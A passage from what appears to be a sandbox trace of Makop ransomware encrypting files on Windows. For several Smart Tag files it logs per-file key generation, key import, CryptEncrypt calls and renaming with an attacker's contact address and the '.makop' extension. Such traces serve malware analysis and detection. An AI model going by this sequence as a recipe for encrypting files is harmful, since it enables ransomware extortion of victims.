Tag\\LISTS\\1033\\STOCKS.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.050] CloseHandle (hObject=0x114) returned 1 [0095.050] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0095.050] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0095.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0095.051] GetProcessHeap () returned 0x48a0000 [0095.051] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.051] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0095.051] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xc, lpOverlapped=0x0) returned 1 [0095.055] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0095.055] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.055] GetProcessHeap () returned 0x48a0000 [0095.055] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0095.056] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0095.056] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0095.056] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0095.056] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0095.056] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0095.056] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0095.056] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0095.056] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0095.057] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0095.057] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.057] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2174, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x2174, lpOverlapped=0x0) returned 1 [0095.058] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x2180, dwBufLen=0x2180 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x2180) returned 1 [0095.059] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.059] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x2180, lpOverlapped=0x0) returned 1 [0095.059] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0095.059] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.059] SetEndOfFile (hFile=0x114) returned 1 [0095.066] GetProcessHeap () returned 0x48a0000 [0095.066] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0095.066] GetProcessHeap () returned 0x48a0000 [0095.067] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.067] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0095.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.068] CloseHandle (hObject=0x114) returned 1 [0095.068] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0095.068] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0095.068] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0095.068] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0095.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.071] GetProcessHeap () returned 0x48a0000 [0095.071] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.071] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.071] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.071] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0095.075] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.075] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.075] GetProcessHeap () returned 0x48a0000 [0095.075] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0095.075] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0095.076] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.076] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0095.076] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.076] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.076] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.076] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.076] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.076] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.077] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.077] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.077] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x377ef, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x377ef, lpOverlapped=0x0) returned 1 [0095.081] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x377f0, dwBufLen=0x377f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x377f0) returned 1 [0095.084] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.084] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x377f0, lpOverlapped=0x0) returned 1 [0095.085] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.085] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x378b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.085] SetEndOfFile (hFile=0x138) returned 1 [0095.096] GetProcessHeap () returned 0x48a0000 [0095.096] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0095.096] GetProcessHeap () returned 0x48a0000 [0095.096] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.096] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0095.096] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.097] CloseHandle (hObject=0x138) returned 1 [0095.098] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0095.098] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0095.098] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0095.098] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned 68 [0095.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0095.103] GetProcessHeap () returned 0x48a0000 [0095.103] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.103] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.103] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0095.103] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.103] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.103] GetProcessHeap () returned 0x48a0000 [0095.103] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.104] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0095.104] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.104] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0095.108] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0095.108] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0095.108] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0095.108] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0095.109] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0095.109] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.109] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.109] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.109] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b180, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b180, lpOverlapped=0x0) returned 1 [0095.112] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b180, dwBufLen=0x1b180 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b180) returned 1 [0095.113] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.114] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b180, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b180, lpOverlapped=0x0) returned 1 [0095.114] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.115] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.115] SetEndOfFile (hFile=0xf0) returned 1 [0095.123] GetProcessHeap () returned 0x48a0000 [0095.123] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.123] GetProcessHeap () returned 0x48a0000 [0095.123] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.123] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0095.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.124] CloseHandle (hObject=0xf0) returned 1 [0095.124] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0095.124] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0095.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0095.127] GetProcessHeap () returned 0x48a0000 [0095.127] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.127] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.127] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0095.127] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0095.131] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.131] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.131] GetProcessHeap () returned 0x48a0000 [0095.131] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.131] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0095.131] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.132] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0095.132] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0095.132] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0095.132] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0095.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0095.132] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0095.133] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.133] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.133] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x100000, lpOverlapped=0x0) returned 1 [0095.167] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, 